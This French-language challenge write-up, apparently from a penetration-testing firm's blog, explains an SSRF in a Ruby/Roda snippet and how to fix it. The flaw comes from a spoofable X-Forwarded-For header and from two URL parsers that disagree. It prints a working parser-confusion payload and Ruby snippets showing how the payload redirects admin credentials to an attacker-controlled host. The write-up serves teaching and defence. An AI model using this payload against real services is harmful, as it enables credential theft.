La vulnérabilité à détecter pour ce challenge était une SSRF due à un traitement inconsistant des valeurs entre le contrôle de sécurité et l’opération métier. La résolution de challenge ne demande pas nécessairement de connaissance du langage (Ruby) ou du framework web (Roda). En effet, le problème étant plutôt porté sur des concepts logiques et universels.

Note : Cet article est aussi disponible en anglais 🇬🇧. Le challenge a été annoncé dans ce tweet 🐦.

Explication

Plusieurs erreurs ont été commises dans le code source.

La première erreur est l’introduction d’un mécanisme fait maison plutôt que de se reposer sur une fonction existante. Comme en cryptographie, il vaut mieux reposer sur des fonctions ou bibliothèques standardisées, éprouvées et maturées au lieu de vouloir réinventer la roue.

En effet, l’adresse de l’utilisateur est récupérée via la ligne suivante :

addr = r.get_header('HTTP_X_FORWARDED_FOR') ? r.get_header('HTTP_X_FORWARDED_FOR') : r.get_header('REMOTE_ADDR')

Cette ligne récupère l’IP déclarée dans l’en-tête HTTP X-Forwarded-For si existant ou l’adresse IP source le cas échéant.

En effet, cette logique aurait pu être remplacée plus simplement par Rack::Request::Helpers#ip qui ne prendrait en compte X-Forwarded-For que si l’adresse distante est une IP locale (provenant d’un serveur mandataire inverse), ce faisant étant aussi plus sécurisée par la même occasion.

Pour aller plus loin : la classe Roda::RodaRequest du cadriciel web Roda hérite de la classe Rack::Request de l’intergiciel de serveur web Rack. Par conséquent, il est tout à fait possible d’utiliser Rack::Request::Helpers#ip. Le comportement de cette méthode n’est pas documenté, mais il est possible de rebondir dans le code assez facilement pour en comprendre le fonctionnement : ip, reject_trusted_ip_addresses, trusted_proxy?, trusted_proxies.

Quoi qu’il en soit, en s’appuyant sur X-Forwarded-For directement, l’application a recours à des données non fiables (contrôlable par l’utilisateur) dans le cadre d’une décision de sécurité.
Alors que, pour simplifier, Rack::Request::Helpers#ip va essayer de s’assurer que l’entête X-Forwarded-For provient d’un serveur mandataire et pas de l’utilisateur. Mais cela aurait pu rester sans importance si une deuxième erreur n’avait pas été commise.

Cette seconde erreur, plus difficile à détecter, est due au traitement inconsistant des valeurs entre le contrôle de sécurité et l’opération métier. En effet, pour vérifier que l’IP de provenance est bien l’adresse locale de l’hôte la mesure de sécurité utilise URI.parse(addr) alors que l’opération métier utilisée pour effectuer la requête d’authentification est basée sur URI.parse(URI::Parser.new.escape(addr)). Cette différence laisse place au risque de contournement de la mesure de sécurité si une même entrée arrive à générer une sortie différente pour chacun des cas. Par exemple, si une charge utile malveillante arrive à sortir 127.0.0.1 pour le contrôle de sécurité (URI.parse(addr).host) elle arrivera alors à passer la condition de sécurité. Si l’on s’arrête ici, cela ne posera pas de problème de sécurité puisque la requête contenant les authentifiants sera envoyée à http://127.0.0.1:<port>/login. Pour que l’attaquant puisse récupérer les authentifiants, il faut que la même charge utile renvoi l’adresse IP d’écoute maîtrisée par l’attaquant pour URI.parse(URI::Parser.new.escape(addr)).host (opération métier).

Pour aller plus loin : URI::Parser#escape permet simplement d’échapper les caractères non sûrs en les URL-encodant. URI::Parser.new.escape('http://127.0.0.1/#ancre') donne ainsi "http://127.0.0.1/%23ancre". Mais cela n’est pas important ici, l’important est simplement que l’opération métier n’utilise pas strictement le même mécanisme de décomposition d’URL que la vérification de sécurité.

Si le même mécanisme avait été utilisé pour la fonction de sécurité et l’opération métier alors aucune différence de traitement n’aurait été possible. Mais comme ce n’est pas le cas ici, un attaquant peut consulter une liste de contournements connus (par exemple sur Charges Utiles Toutes Les Choses (NDLR PayloadsAllTheThings) 😂) ou effectuer des tests à données aléatoires jusqu’à tomber par hasard sur un tel cas.

C’est le cas de la charge utile suivante : 127.0.0.1:10000#@42.42.42.42:7000/. La décomposition de cette charge donnera bien 127.0.0.1 pour la mesure de sécurité, mais renverra 42.42.42.42 pour l’opération métier et permettra à l’attaquant de récupérer les authentifiants d’administration.
Bien sûr, les adresses IP et ports peuvent être modifiés selon le besoin de l’attaquant, 42.42.42.42 représente une machine contrôlée par celui-ci.

Pour aller plus loin : Pour comprendre pourquoi cette charge utile peut engendrer des comportements différents selon les analyseurs d’URL, il faut bien comprendre la structure des URI (RFC 3986). Dans http://IP1:PORT1#@IP2:PORT2/, quelle est l’IP, quel est le port ? C’est IP1:PORT1 car tout ce qui se trouve après # fait partie de l’ancre ? Ou c’est IP2:PORT2 car tout ce qui se trouve avant @ sont des identifiants (utilisateur = IP1, mot de passe = PORT1#) ? Et bien cela peut varier selon les analyseurs. Pour plus de détail, il faut absolument voir l’excellentissime présentation A New Era of SSRF – Exploiting URL Parser in Trending Programming Languages! d’Orange Tsai [1] [2] [3].

# Charge utile inspirée de celle trouvée par Orange Tsai dans son
# étude "A New Era of SSRF - Exploiting URL Parser in Trending Programming Languages!"
charge_utile = 'http://127.0.0.1:10000#@42.42.42.42:7000/'
# => "http://127.0.0.1:10000\#@42.42.42.42:7000/"

# Décomposition utilisée par la mesure de sécurité
URI.parse(charge_utile).host
# => "127.0.0.1"

# Décomposition utilisée par l'opération métier
URI.parse(URI::Parser.new.escape(charge_utile)).host
# => "42.42.42.42"

Pour aller plus loin : Ce découplage de comportement entre méthodes de décomposition d’URL dans le but de contourner des mécanismes de protection anti-SSRF a été identifié par Alexandre ZANNI alias noraj via ce script.

Les deux méthodes de décomposition d’URL peuvent être valides unitairement, cependant il est important de s’accorder à en avoir une utilisation homogène pour des raisons de sécurité sinon cela conduit à la vulnérabilité susmentionnée.

Code corrigé

Voici donc le code corrigé :

Code corrigé

L’utilisation de r.ip plutôt que la condition ternaire précédente vient considérablement limiter l’attaque.

D’autre part, l’utilisation homogène de URI.parse(addr) dans les deux cas vient corriger le problème de découplage.

Diff

Le code source est disponible sur le dépôt Github Acceis/vulnerable-code-snippets.

À propos de l’auteur

Article écrit par Alexandre ZANNI alias noraj, Ingénieur en Test d’Intrusion chez ACCEIS.